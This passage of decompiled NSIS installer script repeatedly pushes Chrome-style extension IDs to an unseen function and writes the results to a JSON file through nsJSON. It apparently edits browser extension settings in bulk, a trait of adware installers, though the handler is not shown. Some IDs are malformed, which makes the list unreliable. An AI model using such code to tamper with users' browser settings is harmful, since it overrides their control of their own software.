Push aamfmnhcipnbjjnbfmaoooiohikifefk
Call func_9411
Push pclmlpoblfocblmfkcoedlpokmdkmamp
Call func_9411
Push afhfbdbjojkmnjhlcefomefflbkbhpcc
Call func_9411
Push immdfbneppbcbkbeladalhmkpodjggpi
Call func_9411
Push obnidnphmghbibkbpimalhpjglajccpa
Call func_9411
Push aaaabcdhikdcpainmmjceakmkacogdko
Call func_9411
Push oppjbdkgpfhhllancffaoaemplhkngoc
Call func_9411
Push ahgjemkchndbkhmcnlihebeldmdbogke
Call func_9411
Push bdheabnbdelbnhkennpakjhjjknaanab
Call func_9411
Push plobmmcbekjmgecbnlpellffahgklcdg
Call func_9411
Push mmghkpgoeemjajbgfgibbkmmaickfhgp
Call func_9411
Push pfmdhhcimlbpjkjgmcpfkjadhbkffflh
Call func_9411
StrCmp $_32_ 1 label_10020
nsJSON::Serialize /format /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; Push /format
; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize
label_10020:
FunctionEnd
Function func_10021
StrCmp $_32_ 1 label_10028
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
label_10028:
Push dghncoeocefmhkhiphdgikkamjeglbfh
Call func_9411
Push icekbnlckcainandkpodddbihdkgofeo
Call func_9411
Push pdfmhakmnmnlelkmmjjhohokbnlffmam
Call func_9411
Push dofbkdnbdibaadbkmoigipaapbgfoalk
Call func_9411
Push epcnnfbjfcgphgdmggkamkmgojdagdnn
Call func_9411
Push djcglfbcnfofkkhnikbgjdkkhhfnaklk
Call func_9411
Push hjacbidbigepkemmhlegcmgimnlgdcop
Call func_9411
Push bijpdibkloghppkbmhcklkogpjaenfkg
Call func_9411
Push jkgogblhemfjdphgjdgcpjakjdfeicda
Call func_9411
Push ooebklgpfnbcnpokahmdidgbmlcdepkm
Call func_9411
Push kcfefccmndghghcanogfebekgbajgibi
Call func_9411
Push ibbhcobgdfmlhhaahkcldomanmaplpfe
Call func_9411
Push bpeobilfdnpcbefajeeicnnbendkokon
Call func_9411
Push caljebcifamfolnccibcggaaeooigkcn
Call func_9411
Push nckgahadagoaajjgafhacjanaoiihapd
Call func_9411
Push nafaimnnclfjfedmmabolbppcngeolgf
Call func_9411
Push mdeldjolamfbcgnndjmjjiinnhbnbnla
Call func_9411
Push mhoginfgkdilnncbigagbkpfccbokgib
Call func_9411
Push dgomkalehojkboojhjkkiplfagabokmf
Call func_9411
Push jecgbfoconhopjngaaijjgffhokohlac
Call func_9411
Push heaigjkhmboanopbhfjfpmlkoeeaeccc
Call func_9411
Push dfdaolbnibmaikhnhmmpahbpagklpaof
Call func_9411
Push hmooaemjmediafeacjplpbpenjnpcneg
Call func_9411
Push fjbbjfdilbioabojmcplalojlmdngbjl
Call func_9411
Push nbkidfaplnkmllomjjmbnindhlmnafcj
Call func_9411
StrCmp $_32_ 1 label_10086
nsJSON::Serialize /format /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; Push /format
; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize
label_10086:
FunctionEnd
Function func_10087
StrCmp $_32_ 1 label_10094
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
label_10094:
Push eolegipcadlgmbpioaljgifleoaoiojc
Call func_9411
Push fjnfffadddalhgdjnfamfnfabihbaijo
Call func_9411
Push apdhdnojdbhafnfogidcjgknlgjaackh
Call func_9411
Push ofahpakdcmmkcppbfmdhklioekdhjigi
Call func_9411
Push dkmjljdbbgogihjcapfhgkonfmccbffp
Call func_9411
Push omdakjcmkglenbhjadbccaookpfjihpa
Call func_9411
Push bfaohpmjmhdgnjblojekjlnadhehiadj
Call func_9411
Push mdlgoanmklkbmpnloohhfolfgibmieog
Call func_9411
Push ehnmojcheleebacabbpidakeonmikcgh
Call func_9411
Push nakmceeckddjbmmfmeejfmfpbknpcdon
Call func_9411
Push pkehgijcmpdhfbdbbnkijodmdjhbjlgp
Call func_9411
Push gmngadifolibnaoikammfkfpfhoefadb
Call func_9411
Push npgfkibkmennbfadphcpjejdpfaeaenh
Call func_9411
Push aagjoniahmepldbjjfbjjhbingmbjlcj
Call func_9411
Push mdcoemfeknnmifgkfoncjfoohdljddmp
Call func_9411
Push biccchlckipkbfinjgjoihkfpjppdnnm
Call func_9411
Push kfgaibfbmkjgmimhbbaikfnpkkjkpoan
Call func_9411
Push memkclohfegeoleddlfmapekllhpheon
Call func_9411
Push fjhliaolocalpnhgfoifjmhmpebhgcpi
Call func_9411
Push ekfodldkedhimgldfpmaagmkollebfkd
Call func_9411
Push aphidkcmnocoblalloofoklecloeacak
Call func_9411
Push mcafflfojcedkgjkoiebkbhnhldokecj
Call func_9411
Push kkminbpkhpjddkblpcbghdjbklpkbcae
Call func_9411
Push bjdnlokgpbeflkegifbndikgnnbmfccd
Call func_9411
Push gbkjddnnlgmahpnjjkiolhoophlpibfn
Call func_9411
StrCmp $_32_ 1 label_10152
nsJSON::Serialize /format /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; Push /format
; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize
label_10152:
FunctionEnd
Function func_10153
StrCmp $_32_ 1 label_10160
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
label_10160:
Push pfmbamigamleojkkogbejpgjdbmadgca
Call func_9411
Push ipabidclbobagkpfhdoefbggacfjedae
Call func_9411
Push kfljpkcacgcnnnipmdlgmlnmckmcpoef
Call func_9411
Push ablgnpngfaaficpckehadaljnjgjkhbi
Call func_9411
Push cghglbggfogikpminlhbocmmbkppikhf
Call func_9411
Push kabhhgmfghlchcfoghldgcoldfphbfee
Call func_9411
Push mgliglcamoigpimdnjhabaihllgldhcm
Call func_9411
Push gooadbaemblgdncpcnfncoockdjpigbg
Call func_9411
Push hbkifecchngnnajcgpibgclebjefmoia
Call func_9411
Push acdjeklgmfinlldghamjbbmmibfgjlpc
Call func_9411
Push konfbibhpfpfjgdnnjbfjleahpgjedkl
Call func_9411
Push jkchbcdpiplmepnccafoeaiimohjodkm
Call func_9411
Push gkgcmoehhnkkcijcllimglmgkplealfk
Call func_9411
Push clpickcelnbfabddmclhjgkggfboahgj
Call func_9411
Push fpadeflmcilgocfdbchkabfigijjkejo
Call func_9411
Push cbmijindgkkbedhbacocgobhnhcdfhbj
Call func_9411
Push mdonfjaemnemdnnpebbcelibeocdmkai
Call func_9411
Push faajihnmbfdjebpkhngdjlflookcjbpd
Call func_9411
Push fonbfofodfopbaafhahgolemcplblbcg
Call func_9411
Push monpennifgclhopkmgdbcnaagkgdemch
Call func_9411
Push mhcmfkkjmkcfgelgdpndepmimbmkbpfp
Call func_9411
Push dmjmfnkoodejjanochmokpkjdhhdfngj
Call func_9411
Push mmiolkcfamcbpoandjpnefiegkcpeoan
Call func_9411
Push ipcjnajmhomjecfgpbjkdpncfkbjnohd
Call func_9411
Push edbmjihgboglpgoiaekeadfbmnllofbi
Call func_9411
StrCmp $_32_ 1 label_10218
nsJSON::Serialize /format /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; Push /format
; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize
label_10218:
FunctionEnd
Function func_10219
StrCmp $_32_ 1 label_10226
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
label_10226:
Push dphgnejlklokobpandlkclmjldgbjppc
Call func_9411
Push bieimkcgkepinadnphjpljpcfbdipofn
Call func_9411
Push gmfonfhepnfocojgonpbmonbkkplkeio
Call func_9411
Push jhcgadmceoppkloomfechpbjcpabidob
Call func_9411
Push ikjlgcapebbggdegemlajfdebaicpoif
Call func_9411
Push mmmcaokglenfinpkfpgkmkpnfjijmhfm
Call func_9411
Push kknfkgbilaemfjcjjfgemgcgbajbgadd
Call func_9411
Push ifceekaonljpjdnanifbjlpjlpjihahe
Call func_9411
Push pnooffjhclkocplopffdbcdghmiffhji
Call func_9411
Push ofdgafmdegfkhfdfkmllfefmcmcjllec
Call func_9411
Push ilamgbdaebkbpkkmfmmfbnaamkhijdek
Call func_9411
Push pcedcainfpmibhlcppehljkpejdcpjjn
Call func_9411
Push ojnnkfigfalgaefhdjiphlnepmjkagjd
Call func_9411
Push gkbehdibccccaklbchjdjkpifikjiclo
Call func_9411
Push gfimgicdombnijnjgpckdjhnjmaapafj
Call func_9411
Push gihoppaedpcolacajoondfhabakijfki
Call func_9411
Push embjkdlfjccamokpokjfgmabeiccniie
Call func_9411
Push ncpoabkajdanepplbicgbjeahpbkelhg
Call func_9411
Push inomffilbbbnhclbpdageeeaajdonadj
Call func_9411
Push lkadffjmnaiokkdncgdlecdegajoiemi
Call func_9411
Push onblafoeogkjbohjnpigkcmdcgkgkcfp
Call func_9411
Push iffnkklnhcckdbakeemklgkangigdbbk
Call func_9411
Push fdenfghgkcnkdikioffddkkmdcloajfg
Call func_9411
Push jhckbblbeahdlofknhfimkepdinpljfc
Call func_9411
Push iaofmdncmakgfhhlkpeohbidhaiedblo
Call func_9411
StrCmp $_32_ 1 label_10284
nsJSON::Serialize /format /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; Push /format
; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize
label_10284:
FunctionEnd
Function func_10285
StrCmp $_32_ 1 label_10292
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
label_10292:
Push mkndcbhcgphcfkkddanakjiepeknbgle
Call func_9411
Push fcdkelkgjkclmfgcnhkklmfcciiojbcn
Call func_9411
Push ighdmknokollbnkmcepmcebgkpapepic
Call func_9411
Push jhlahgjgccieafmmhjndjbhinmofjaaj
Call func_9411
Push fcimjkehglmijlhnpbmjbpoiamjiegod
Call func_9411
Push lkcnnaeninjibhdcknedboclpfkhgjej
Call func_9411
Push gnacaoicnnhefbcdflabbonnoichilae
Call func_9411
Push ahkmlkpifohkpfdhdnoeefkegdikggej
Call func_9411
Push kagpimphglgedjaaafmclekeankdidmm
Call func_9411
Push mkglddkfkhfjjaedinighchlkeceebpb
Call func_9411
Push njcppddkcdojnilnknjifcgmnnelhifi
Call func_9411
Push egldokbhmgcchfikclhbnffgpgdpkikn
Call func_9411
Push ipdocpmkplpcbbohlmaifigngeaedpkc
Call func_9411
Push dfmanhfilhophmcmemcmacejpnapamfk
Call func_9411
Push mhfofcmiohmadbkaakkcdeimlmpbjgpj
Call func_9411
Push plaklkejpgggcflhigfkhogdmmljpapm
Call func_9411
Push cckaogkkkkeakjcommpboibminldbpno
Call func_9411
Push eldiihlcidbmcjnomalgoabdfgbnogok
Call func_9411
Push glcimepnljoholdmjchkloafkggfoijh
Call func_9411
Push fheoggkfdfchfphceeifdbepaooicaho
Call func_9411
Push ddlhogjgfofpgmkognopimmilcldcepb
Call func_9411
Push pfgjkiamaakjjjaalggclbfapojejene
Call func_9411
Push pclkbgkdgbceblcfbaaocnfpldlggipc
Call func_9411
Push oekdjnngaipjchfbjnmbhdjolbiocpkg
Call func_9411
Push miincmhponinjhaaagepklkeadfamabi
Call func_9411
StrCmp $_32_ 1 label_10350
nsJSON::Serialize /format /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; Push /format
; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize
label_10350:
FunctionEnd
Function func_10351
StrCmp $_32_ 1 label_10358
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
label_10358:
Push fafceeakhmbanmolhficnpfaalkbffpc
Call func_9411
Push djhgiahomjkabjdodlemhnhbnbfcomam
Call func_9411
Push jnmebibcnmmkgldaljbchompinpencam
Call func_9411
Push lapcljgokiddckdfknnjnacigpeaggnc
Call func_9411
Push cmnjldnocaciphkbbjfnikkinhdheonh
Call func_9411
Push mgkbblelnlacilglbehphdbcljjgjjio
Call func_9411
Push flliilndjeohchalpbbcdekjklbdgfkk
Call func_9411
Push jaikdhljjbgilnickklnipcmcbhnbpij
Call func_9411
Push khpcanbeojalbkpgpmjpdkjnkfcgfkhb
Call func_9411
Push dknmklfnhfbnjekfgapbdlhogifkneea
Call func_9411
Push dgnpdigppagldckhhbcomakmohjponof
Call func_9411
Push efcnmnfkfmaokkgfimjbadolnjgpbbnm
Call func_9411
Push aldepjpjcfpolfolpbbjjcbpjpjnlkok
Call func_9411
Push migbflmlmdnagbjlfpciojaejffgjoae
Call func_9411
Push bgkbhhlnpdncfkammaaofgmhdmealgmh
Call func_9411
Push odlhikpaegeblidjhkeefjdjegganhpg
Call func_9411
Push pbdnheiddiedcfijelmdmfbfhnmpngjo
Call func_9411
Push dioknbnfomokmffldolopajeaejfacma
Call func_9411
Push emeekeikmkpidgbablikkediajeljbda
Call func_9411
Push ifhnjalcekbmmeknpgnkpghldbbhanen
Call func_9411
Push kjdcimckanehifoamlejpbbpnleganbc
Call func_9411
Push ejgmeebgmfgkkhheadbpckgejolglhnc
Call func_9411
Push kfmpgofbpmkihnamkhcoohnmipjkfjph
Call func_9411
Push hjlmfejeepodkfiapgfhkniokjdcmkfo
Call func_9411
Push gofhjkjmkpinhpoiabjplobcaignabnl
Call func_9411
StrCmp $_32_ 1 label_10416
nsJSON::Serialize /format /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; Push /format
; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize
label_10416:
FunctionEnd
Function func_10417
StrCmp $_32_ 1 label_10424
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
label_10424:
Push mdanidgdpmkimeiiojknlnekblgmpdll
Call func_9411
Push nlbjncdgjeocebhnmkbbbdekmmmcbfjd
Call func_9411
Push oadboiipflhobonjjffjbfekfjcgkhco
Call func_9411
Push elicpjhcidhpjomhibiffojpinpmmpil
Call func_9411
Push ciagpekplgpbepdgggflgmahnjgiaced
Call func_9411
Push cmckkgalnmmkfnefkjngdjfjegnkphng
Call func_9411
Push elckafaemboocdmiejmgjlifblmodkpa
Call func_9411
Push ciennljbgdehdilgkhlfcokmppkfemep
Call func_9411
Push balimbofoedmklhpnchbgmlfipgpbjnl
Call func_9411
Push fkepacicchenbjecpbpbclokcabebhah
Call func_9411
Push jfnmbockdokaiajhlonpofgolpnnblom
Call func_9411
Push hcjhechaanackfidkacmbciilhknbdjf
Call func_9411
Push hijahgogmmjlbngboogancgjhaeeaoec
Call func_9411
Push pbjophgnmlffngmbkchfinmbabfmhhfk
Call func_9411
Push akfbkbiialncppkngofjpglbbobjoeoe
Call func_9411
Push fhjbkflincogdkemofejdggfanmlglgm
Call func_9411
Push bkkbcggnhapdmkeljlodobbkopceiche
Call func_9411
Push lagabmcceednhgcamnlbgpcalcpaolld
Call func_9411
Push bdhaleablbebpeafpjjljppodciicafh
Call func_9411
Push dgehgfgkbcefnfeoinfhlbhblhjklclb
Call func_9411
Push bfbmjmiodbnnpllbbbfblcplfjjepjdn
Call func_9411
Push dgdnhpfneglhceafhiihffihnomlilba
Call func_9411
Push dlidmecdjikmgcljjljpelcaldcecbcf
Call func_9411
Push naldacidolhjbbmblpmalapemmbkbfdm
Call func_9411
Push hmnlnhfggjlmcmldonpedhkolceklbmm
Call func_9411
StrCmp $_32_ 1 label_10482
nsJSON::Serialize /format /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; Push /format
; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize
label_10482:
FunctionEnd
Function func_10483
StrCmp $_32_ 1 label_10490
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
label_10490:
Push ilkodpocfielljohceimiamcpjggkcca
Call func_9411
Push niaidlbfgnmndccckeilbhihankjfgmp
Call func_9411
Push fachkanjgokdeipofklfhoiogbdpango
Call func_9411
Push kldhebohdecmalbiaidfdipddfdemnap
Call func_9411
Push gegdfeiahlfolhcfioipjlkombmgbakh
Call func_9411
Push bdkjahgfjedhmeijiflmjkiibgkifjgi
Call func_9411
Push jdflapekoajkdkgodmfccckdkfnjepeb
Call func_9411
Push agdmdonkdielcapabfdpacbmibbohjke
Call func_9411
Push hmcfkjhogndmigfiomdmchbhdffmnmco
Call func_9411
Push kikjajkogacdiiaphdlclccndpmmkgpo
Call func_9411
Push hanjiajgnonaobdlklncdjdmpbomlhoa
Call func_9411
Push caemclfclldohgnnhhoaobdafkblciln
Call func_9411
Push famoeojmnllhhpacaglkmflcjjgglloo
Call func_9411
Push keonaknfajlcpjbbdikojdhpbhbjpgga
Call func_9411
Push pleaihaenamcppdkhaidcjalbhaodfmn
Call func_9411
Push ljkppcgffpemfbjmdleeclfbbjlnphlm
Call func_9411
Push gijfkdjnbifodmgiacbjebmiobhidlie
Call func_9411
Push gpbaohjgjcbjljiijjlggdljgaefcfbj
Call func_9411
Push ajhclfhkjfcgagaidcmobhdpihaienph
Call func_9411
Push hmfipiedngkkgafkfaoadhejcokamihk
Call func_9411
Push mngfhdpgdpdkehlomoonpkcbibcchmgm
Call func_9411
Push oanpidnnchmnopbhedlcaobjdnfeclpn
Call func_9411
Push ieaebnkibonmpbhdaanjkmedikadnoje
Call func_9411
Push abradmonodkehstorenpkcofmbliegmf
Call func_9411
Push eaikmbeeklemcgemabilgpjkanodfmic
Call func_9411
StrCmp $_32_ 1 label_10548
nsJSON::Serialize /format /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; Push /format
; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize
label_10548:
FunctionEnd
Function func_10549
StrCmp $_32_ 1 label_10556
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
label_10556:
Push dfgjapkemnjbgeknghcgakocngfkfbob
Call func_9411
Push gfcfgcmgcplpigkobbpdhpbnhipmaepn
Call func_9411
Push pookiimmolcmlopbidabgdlefcjegldf
Call func_9411
Push iggdmkkkjkjbmomhnaaglcjdmfmamkca
Call func_9411
Push cnbgiinmeeapadlkkeiijikonhkdlkdb
Call func_9411
Push mifgjgnbpciiinbdglifkcgkcanhdojo
Call func_9411
Push bonbgacfkdakmlgpnkfmgiiggckmdhdd
Call func_9411
Push cjcgednkiegknnhblbbdkeldhcpkjbop
Call func_9411
Push pdjpoeghnbphlibgcpenjeoagbjfldpe
Call func_9411
Push padekgcemlokbadohgkifijomclgjgif
Call func_9411
Push afebbdeeadaipjlkombegdfeiahlfgbd
Call func_9411
Push handkofkimimnhfkbjkmopkpjkfnaddd
Call func_9411
Push jfaelmjijpchnlnpphnmlkiodcjdhllh
Call func_9411
Push japjgpmeoeppglkbnkcoocfecknldoba
Call func_9411
Push koeojioiofmpegljihjleakgpmnolcbc
Call func_9411
Push dnligehkhogpcngalffdoomehjcbecna
Call func_9411
Push gehmndecgbcffhmfjkenpamdgechcgpe
Call func_9411
Push olloiaimloohiaakaloloiggpinomffj
Call func_9411
Push heildphpnddilhkemkielfhnkaagiabh
Call func_9411
Push poihgldcgdeiiclapfocpigklbcgjlff
Call func_9411
Push njeofdgmbhbojilblfpjipbkcipccehj
Call func_9411
Push icemngsdfgikpminlhfghtybombkpphf
Call func_9411
Push tikgiwakpsomminllolhbasdmmbkpiry
Call func_9411
Push bpgangmffjcofiknibcmfjionicohfgj
Call func_9411
Push bgbgnhmfbcifpkjofoojfplmfkmaiadn
Call func_9411
StrCmp $_32_ 1 label_10614
nsJSON::Serialize /format /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; Push /format
; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize
label_10614:
FunctionEnd
Function func_10615
StrCmp $_32_ 1 label_10622
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
label_10622:
Push nbifdkmdojgmpmopdebnjcobekgdoncn
Call func_9411
Push gbllekplmkcfilgkfdcmceikhbieamjh
Call func_9411
Push aaebcidjealdkgfblmalpnlcfmoehblg
Call func_9411
Push nadmonjccapgblechkihgccmahmdcgkf
Call func_9411
Push mcpmofnlkemfkhgngcdppgbhncoflmpe
Call func_9411
Push igbfndccifkldjefkghhhhpglenppfnb
Call func_9411
Push egodedaomfcikoiijhahilghdhamanoe
Call func_9411
Push eekbbmglbfldjpgbmajenafphnfjonnc
Call func_9411
Push kbmbmoljonchdkbjgkioneippcfpnpmp
Call func_9411
Push bbdhdbapkdcefdlnjnipgbafplfgbmom
Call func_9411
Push nppmdkggfajbicalcnpfpcfacpdmbfhi
Call func_9411
Push dcnofaichneijfbkdkghmhjjbepjmble
Call func_9411
Push cmedhionkhpnakcndndgjdbohmhepckk
Call func_9411
Push pmmemlnpjmfkcddknibchodllhnnidlp
Call func_9411
Push npdpaabpkcahccgoakgkgjfgalcpfhlb
Call func_9411
Push adkchojifakkgdemgcjplmekpbninaom
Call func_9411
Push mbfenkanhbafpdmlmhiicehikmfccebb
Call func_9411
Push aeembeejekghkopiabadonpmfpigojok
Call func_9411
Push lbjjfiihgfegniolckphpnfaokdkbmdm
Call func_9411
Push iajpfoidhjamafnifhlkgkjgglhbmhpn
Call func_9411
Push pjepiedknkjafemifameocnacojgdpin
Call func_9411
Push dojgfgknadakhfnaogaipdbdamepeffe
Call func_9411
Push bdnknblchccglekdlcicmhmfbnpdcnlk
Call func_9411
Push jdmnhndckapfgedghcajdabahgmgdcim
Call func_9411
Push bjgfnbgjnmeohehminfenoahkcddidpi
Call func_9411
StrCmp $_32_ 1 label_10680
nsJSON::Serialize /format /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; Push /format
; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize
label_10680:
FunctionEnd
Function func_10681
StrCmp $_32_ 1 label_10688
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
label_10688:
Push fndlhnanhedoklpdaacidomdnplcjcpj
Call func_9411
Push agekechegkdgakliofbdhaancipnipkh
Call func_9411
Push epbobadpdjhmhnnokljfjbmjbjkkamic
Call func_9411
Push hadkbmndbbghkjipjbmpdjghejhjjaad
Call func_9411
Push nhfjefnfnmmnkcckbjjcganphignempo
Call func_9411
Push dejghicigppjmbpmgnepedpfolikhdlo
Call func_9411
Push ghcdaheihefjaiihlegkggmmanbakmge
Call func_9411
Push necfmkplpminfjagblfabggomdpaakan
Call func_9411
Push gdljkkmghdkckhaogaemgbgdfophkfco
Call func_9411
Push fdjdjkkjoiomafnihnobkinnfjnnlhdg
Call func_9411
Push dkekdlkmdpipihonapoleopfekmapadh
Call func_9411
Push eoebpcbiklhocbchcfjlejdfhfaimfoh
Call func_9411
Push fgfffefkfpmbjmhofnofmiikiolcbhll
Call func_9411
Push elipildglihdiclllmcglejppnmegbnc
Call func_9411
Push lpobdmdfgjokempajoobgfdnhjbjlnpm
Call func_9411
Push ecnphlgnajanjnkcmbpancdjoidceilk
Call func_9411
Push nofpoinhpaonfgjgoooobacfhhicgiah
Call func_9411
Push nfphfdfjeglpieokoecfbjnbjmgknbmg
Call func_9411
Push oepoioecmpaaoocbhhmiibjdbpfgjhbo
Call func_9411
Push ecljapgcebeghdgfjacldomhcnlemkmk
Call func_9411
Push obadomnpboahoakjcaoddfhdpaaibjng
Call func_9411
Push ialilpegnnfigbcggpbbdecdgencbfge
Call func_9411
Push odmlfnnlohbcofdmanmbfppncommemhh
Call func_9411
Push feeilhmlfcpfchpbgoknoeefdkbgionj
Call func_9411
StrCmp $_32_ 1 label_10744
nsJSON::Serialize /format /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; Push /format
; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize
label_10744:
FunctionEnd
Function func_10745
StrCmp $_32_ 1 label_10752
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
label_10752:
Push bhjcgomkanpkpblokebecknhahgkcmoo
Call func_9411
Push ablpcikjmhamjanpibkccdmpoekjigja
Call func_9411
Push illgmhceeodpagcdfjbkdfaclfijbjbc
Call func_9411
Push gbjeiekahklbgbfccohipinhgaadijad
Call func_9411
Push jkfaaimakmkeglfcdfakffbfnkiocolp
Call func_9411
Push alcmakjhknigccfidaelkafjmfifkhkc
Call func_9411
Push mlomiejdfkolichcflejclcbmpeaniij
Call func_9411
Push chbcakcafkeacjljckffjnmliiikgoag
Call func_9411
Push cagkfnokdfofofnblbpfjnapdojmoffn
Call func_9411
Push ejaohcdkoibiglljclfbmegmenlinpmd
Call func_9411
Push ggcgbfdofnkhamefohachilfjjgiapjh
Call func_9411
Push oopaipoegcoodhcemiefhoeaneholpfj
Call func_9411
Push kgkbakedaeiiieiipomfpgcfbfdphmhl
Call func_9411
Push okjdabpnodcpnemmamodgoikmabakaeb
Call func_9411
Push bejnpnkhfgfkcpgikiinojlmdcjimobi
Call func_9411
Push geidjeefddhgefeplhdlegoldlgiodon
Call func_9411
Push pjfkgjlnocfakoheoapicnknoglipapd
Call func_9411
Push pfigaoamnncijbgomifamkmkidnnlikl
Call func_9411
Push hnolaplfoobcmgfmjphkmbjolinelpkb
Call func_9411
Push jdfonankhfnhihdcpaagpabbaoclnjfp
Call func_9411
Push edacconmaakjimmfgnblocblbcdcpbko
Call func_9411
Push eedhmgdnpddpdofnpflniajpdhdkfamk
Call func_9411
Push cncgohepihcekklokhbhiblhfcmipbdh
Call func_9411
Push gehngeifmelphpllncobkmimphfkckne
Call func_9411
Push mcbpblocgmgfnpjjppndjkmgjaogfceg
Call func_9411
StrCmp $_32_ 1 label_10810
nsJSON::Serialize /format /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; Push /format
; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize
label_10810:
FunctionEnd
Function func_10811
StrCmp $_32_ 1 label_10818
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
label_10818:
Push pelmeidfhdlhlbjimpabfcbnnojbboma
Call func_9411
Push nphbmanpfjfdngbaamhajooihmjacmfe
Call func_9411
Push ejbpjlaagejfakeobljhgplbgklgemll
Call func_9411
Push vojarjlvomiwodchnayaimollfrasdlk
Call func_9411
Push jedpddonjeogeldhkkbpdachllhdfknk
Call func_9411
Push kmafjceipgfaoldhhbkgdihfbjaioaen
Call func_9411
Push ijdcdideehdjconcfikhfmnhcgklelnm
Call func_9411
Push omhdndjjngapchpajkicnagllfgcelgp
Call func_9411
Push ipnpelpjmnmepmgacemjkdkjlappmnen
Call func_9411
Push neebplgakaahbhdphmkckjjcegoiijjo
Call func_9411
Push jidkebcigjgheaahopdnlfaohgnocfai
Call func_9411
Push ekbkljhamnfpbcmgmfeacodjnpfhpdbe
Call func_9411
Push eclmpnoffmklliobmkbkcnoikpjcheab
Call func_9411
Push iclekbbjgpehabpidkpgnnjmohldmedi
Call func_9411
Push hdpniolnlbphbpefnhfjebidlfplocol
Call func_9411
Push fcnodchihpbcjiofidkkeaioejgpijkl
Call func_9411
Push iionjbhbhjhpdbljefbeaoiddijbjmcd
Call func_9411
Push aobdicepooefnbaeokijohmhjlleamfj
Call func_9411
Push cfaeobphmnkkcgccdfagcephianpcfip
Call func_9411
Push klhobddcbiabdfjmomildokiglpmdicc
Call func_9411
